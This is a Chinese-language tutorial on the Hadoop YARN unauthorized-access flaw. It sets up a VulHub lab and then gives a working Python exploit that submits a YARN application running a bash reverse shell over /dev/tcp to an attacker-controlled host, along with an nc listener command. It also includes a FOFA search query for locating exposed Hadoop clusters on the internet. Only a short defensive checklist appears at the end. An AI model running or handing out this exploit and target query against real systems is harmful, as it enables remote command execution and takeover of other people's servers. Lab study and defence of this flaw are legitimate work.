影响范围
Hadoop
漏洞简介
Hadoop是一个开源的分布式计算框架,用于存储和处理大规模数据集,它提供了可靠、可扩展和高性能的数据处理能力,使得用户可以在廉价的硬件集群上进行大数据处理和分析,Hadoop适用于处理大规模的结构化和非结构化数据并且在处理大数据集时具有良好的可扩展性和容错性,它被广泛应用于互联网公司、科学研究、金融行业等领域,用于大数据处理、日志分析、机器学习和数据挖掘等任务,而由于服务器直接在开放了Hadoop机器HDFS的50070 Web端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,例如:进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害
环境搭建
在这里我们使用VulHub来构建环境
docker-compose up -d
漏洞检测
未授权访问
http://192.168.204.191:8088/cluster
反弹Shell
在发现存在Hadoop未授权访问的时候我们可以通过借助REST API来进行命令执行并实现反弹shell的目的:
Step 1:本地监听8888端口
nc -lnvp 8888
Step 2:执行漏洞EXP
#!/usr/bin/env python
import requests
target = 'http://192.168.204.191:8088/'
lhost = '192.168.204.135' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/8888 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
目标检索
FOFA:
app="APACHE-hadoop-YARN"
防御手段
- 无必要则关闭Hadoop Web管理页面
- 开启身份验证,防止未经授权用户访问
- 设置"安全组"访问控制策略并将Hadoop默认开放的多个端口对公网全部禁止或限制可信任的IP地址才能访问包括50070以及WebUI等相关端口